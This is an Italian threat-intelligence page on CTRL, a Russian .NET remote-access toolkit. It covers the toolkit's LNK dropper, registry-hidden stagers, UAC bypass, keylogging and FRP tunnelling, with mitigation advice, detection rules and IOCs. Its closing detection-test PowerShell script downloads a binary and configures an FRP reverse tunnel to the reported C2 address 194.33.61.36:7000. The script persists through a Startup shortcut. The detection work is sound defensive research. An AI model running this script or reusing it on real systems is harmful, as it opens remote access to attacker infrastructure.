Sotto CTRL: Analisi di un Framework di Accesso .Net Russo Precedentemente Non Documentato
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Censys ARC ha scoperto un toolkit di accesso remoto russo precedentemente non documentato chiamato CTRL che combina phishing di credenziali, keylogging, dirottamento RDP e tunnel inversi basati su FRP. Il framework è distribuito tramite un file LNK malevolo e nasconde i suoi binari all’interno del registro di Windows, dove vengono successivamente caricati direttamente in memoria. La sua infrastruttura di rete include il dominio hui228.ru e due indirizzi IP che operano un server FRP sulla porta 7000. Il toolkit prende di mira gli host Windows e mantiene la persistenza tramite attività programmate, account utente locali nascosti e modifiche basate sul registro.
Indagine
I ricercatori hanno identificato il dropper LNK, ricostruito il loader PowerShell stratificato e tracciato i binari .NET a stadi memorizzati come REG_BINARY valori sotto le chiavi di registro di Explorer. Lo stager scarica quindi i payload successivi, crea un loader ctrl.exe nascosto, configura i tunnel FRP e distribuisce RDP Wrapper per consentire sessioni remote senza restrizioni. Nessuno degli artefatti osservati è apparso nei feed di intelligence sulle minacce pubbliche, suggerendo che il framework è una piattaforma privata e costruita appositamente per l’accesso.
Mitigazione
I difensori dovrebbero monitorare scritture di registro insolite sotto le chiavi di Explorer, la creazione di attività programmate denominate DriverSvcTask, NetTcpSvc, TermSvcHost o WindowsHealthMonitor e account locali nascosti aggiunti ai gruppi Administrators o Remote Desktop Users. Le connessioni in uscita agli indirizzi IP identificati e alla porta FRP 7000 dovrebbero essere bloccate e il traffico del protocollo FRP su sistemi inaspettati dovrebbe essere segnalato. Installazioni non autorizzate di FRP o RDP Wrapper dovrebbero essere rimosse, e l’esecuzione di PowerShell dovrebbe essere strettamente controllata.
Risposta
Se viene rilevata attività correlata a CTRL, isolare il punto finale, acquisire il file LNK e l’alveare di registro rilevante per un’analisi forense, interrompere il processo ctrl.exe e rimuovere le attività programmate associate. Tutti i nuovi account locali creati devono essere disabilitati, i permessi RDP non autorizzati revocati e le credenziali esposte ruotate. I team dovrebbero quindi controllare l’ambiente più ampio per ulteriori server FRP e aggiornare le regole di rilevamento con gli IOC osservati.
"graph TB %% Sezione di Definizioni di Classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodi u2013 Azioni (Tecniche MITRE) action_user_exec["<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b>: La vittima clicca sul collegamento .lnk malevolo"] class action_user_exec action action_lnk_smuggle["<b>Azione</b> – <b>T1027.012 Smuggling Icona LNK</b>: Il collegamento si camuffa con un’icona di cartella"] class action_lnk_smuggle action action_powershell["<b>Azione</b> – <b>T1059.001 PowerShell</b>: Comando PowerShell nascosto decodifica il payload"] class action_powershell action action_deobfuscate["<b>Azione</b> – <b>T1140 Deobfuscazione/Decodifica File</b>: Molteplici fasi di Base64 e Deflate"] class action_deobfuscate action action_obfuscation["<b>Azione</b> – <b>T1027 File o Informazioni Offuscati</b>: Nomi di variabili random e costruzione di stringhe a runtime"] class action_obfuscation action action_shortcut_persistence["<b>Azione</b> – <b>T1547.009 Modifica Collegamento</b>: LNK funge da meccanismo di persistenza"] class action_shortcut_persistence action action_scheduled_tasks["<b>Azione</b> – <b>T1053 Attività Pianificata/Lavoro</b>: Quattro attività create per eseguire binari all’avvio"] class action_scheduled_tasks action action_create_account["<b>Azione</b> – <b>T1136.001 Creazione Account</b>: Aggiunto account amministratore locale nascosto"] class action_create_account action action_uac_bypass["<b>Azione</b> – <b>T1548 Abuso Meccanismo Controllo Elevazione</b>: Hijack del registro fodhelper.exe bypassa UAC"] class action_uac_bypass action action_proxy_execution["<b>Azione</b> – <b>T1218 Esecuzione Proxy Binario di Sistema</b>: wlrmdr.exe utilizzato per eseguire payload con diritti elevati"] class action_proxy_execution action action_priv_esc["<b>Azione</b> – <b>T1068 Sfruttamento per Escalation di Privilegi</b>: patch termsrv.dll e installa RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Azione</b> – <b>T1036 Mascheramento</b>: File collocati in directory nascoste con nomi dall’aspetto legittimo"] class action_masquerade action action_hide_artifacts["<b>Azione</b> – <b>T1564 Nascondi Artifacts</b>: Esclusioni di Defender, falsificazione timestamp, imitazione registro"] class action_hide_artifacts action action_keylogging["<b>Azione</b> – <b>T1056.001 Acquisizione Input – Keylogging</b>: Hook tastiera di basso livello scrive su C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Azione</b> – Raccolta Credenziali: UI personalizzata WPF Windows Hello cattura PIN"] class action_cred_harvest action action_rdp["<b>Azione</b> – <b>T1021.001 Servizi Remoti – RDP</b>: RDP Wrapper abilita l’accesso desktop remoto"] class action_rdp action action_rdp_hijack["<b>Azione</b> – <b>T1563.002 Dirottamento Sessione Servizio Remoto</b>: L’attaccante ombreggia le sessioni attive via mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Azione</b> – <b>T1090.002 Proxy – Proxy Esterno</b>: Tunnel FRP su hui228.ru:7000 funge da proxy esterno"] class action_frp_proxy action action_encrypted_channel["<b>Azione</b> – <b>T1573 Canale Cifrato</b>: Traffico FRP cifrato, Payload decritto AES-256-CBC"] class action_encrypted_channel action action_valid_accounts["<b>Azione</b> – <b>T1078.003 Account Validi – Account Locali</b>: account admin nascosto utilizzato per persistenza e movimento laterale"] class action_valid_accounts action action_lateral_movement["<b>Azione</b> – Movimento Laterale: Uso di account admin locale valido per propagarsi nella rete"] class action_lateral_movement action %% Nodi u2013 Strumenti / File / Processi tool_lnk["<b>Strumento</b> – Collegamento .lnk Arma&orizzato<br/><b>File</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Strumento</b> – PowerShell<br/><b>Scopo</b>: Esegue script nascosto che decodifica e decompatta lo stager .NET"] class tool_powershell tool process_stager["<b>Processo</b> – Stager .NET memorizzato come REG_BINARY sotto HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Strumento</b> – fodhelper.exe (Utilità Windows)"] class tool_fodhelper tool tool_wlrmdr["<b>Strumento</b> – wlrmdr.exe (binario firmato Microsoft)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Strumento</b> – RDP Wrapper<br/><b>Funzione</b>: Abilita sessioni RDP concorrenti illimitate"] class tool_rdpwrapper tool tool_frp["<b>Strumento</b> – Client FRP<br/><b>Funzione</b>: Tunnel inverso verso server esterno"] class tool_frp tool keylog_file["<b>File</b> – C:Tempkeylog.txt<br/><b>Contenuto</b>: Keystrokes acquisiti"] class keylog_file file %% Connessioni u2013 Flusso di Attacco action_user_exec –>|avvia| tool_lnk tool_lnk –>|attiva| action_lnk_smuggle action_lnk_smuggle –>|porta a| action_powershell action_powershell –>|esegue| tool_powershell tool_powershell –>|memorizza payload| process_stager process_stager –>|decodificato da| action_deobfuscate action_deobfuscate –>|abilita| action_obfuscation action_obfuscation –>|supporta| action_shortcut_persistence action_shortcut_persistence –>|crea| action_scheduled_tasks action_scheduled_tasks –>|crea| action_create_account action_create_account –>|facilita| action_uac_bypass action_uac_bypass –>|usa| tool_fodhelper action_uac_bypass –>|usa| tool_wlrmdr action_uac_bypass –>|abilita| action_proxy_execution action_proxy_execution –>|facilita| action_priv_esc action_priv_esc –>|installa| tool_rdpwrapper action_priv_esc –>|abilita| action_masquerade action_masquerade –>|porta a| action_hide_artifacts action_hide_artifacts –>|aggiunge| action_keylogging action_keylogging –>|scrive su| keylog_file action_keylogging –>|supporta| action_cred_harvest action_cred_harvest –>|abilita| action_rdp action_rdp –>|utilizzato per| action_rdp_hijack action_rdp_hijack –>|imposta| action_frp_proxy action_frp_proxy –>|fornisce| action_encrypted_channel action_encrypted_channel –>|consente| action_valid_accounts action_valid_accounts –>|utilizzato per| action_lateral_movement %% Assegnazioni di Stile class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
Flusso di Attacco
Rilevamenti
Possibile Shadowing Servizi Desktop Remoto (via evento_di_registro)
Visualizza
Stringhe Powershell sospette (via powershell)
Visualizza
Stringhe Powershell sospette (via cmdline)
Visualizza
Cambiamenti sospetti delle preferenze di Windows Defender (via powershell)
Visualizza
Escalation dei privilegi (bypass UAC) in FodHelper (via evento_di_registro)
Visualizza
IOC (HashSha256) da rilevare: Under CTRL: Analisi di un Framework di Accesso .Net Russo Precedentemente Non Documentato
Visualizza
IOC (DestinationIP) da rilevare: Under CTRL: Analisi di un Framework di Accesso .Net Russo Precedentemente Non Documentato
Visualizza
IOC (Email) da rilevare: Under CTRL: Analisi di un Framework di Accesso .Net Russo Precedentemente Non Documentato
Visualizza
IOC (SourceIP) da rilevare: Under CTRL: Analisi di un Framework di Accesso .Net Russo Precedentemente Non Documentato
Visualizza
Rileva Connessioni di Tunneling Inverso FRP Malevolo [Connessione di Rete di Windows]
Visualizza
Rileva Persistenza del Toolkit CTRL tramite Chiavi di Registro di Explorer [Evento Registro di Windows]
Visualizza
Rileva Esecuzione PowerShell Offuscata con Payload Codificato [PowerShell di Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare Telemetry & Baseline deve essere superato.
-
Narrativa dell’Attacco & Comandi:
Un avversario ha già scaricato il client FRP (frp.exe) sull’host Windows compromesso tramite un allegato di phishing malevolo. Per mantenere la persistenza, l’attaccante registra un collegamento nella cartella di Avvio che avvia FRP con una configurazione puntata al server C2194.33.61.36:7000. Quando l’utente effettua il login, il collegamento avvia FRP, che apre un tunnel TCP inverso al mittente, permettendo all’attaccante di inoltrare qualsiasi servizio locale (ad esempio, SMB) attraverso il tunnel. La connessione di rete generata da FRP corrisponde alla regoladst_ipanddst_portcriteri, causando un allarme. -
Script di Test di Regressione: (PowerShell – auto-contenuto)
# ============================================================================= # Simulazione FRP Reverse Tunnel – attiva regola Sigma fcb13968-1490-44c2-9f9f-c1ad2b668ce6 # ============================================================================= # Variabili $frpUrl = "https://example.com/frp.exe" # sostituire con un binario di test raggiungibile $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. Scarica binario FRP (simulato – usare qualsiasi piccolo eseguibile per il test) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. Crea configurazione minima client FRP @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. Crea un collegamento nella cartella di Avvio per eseguire FRP all'avvio $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. Avvia FRP ora (così possiamo vedere subito la telemetria) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "Tunnel inverso FRP avviato. Controllare il SIEM per il rilevamento." -
Comandi di Pulizia:
# Interrompi processo FRP Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovere file e collegamento Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "Pulizia completata."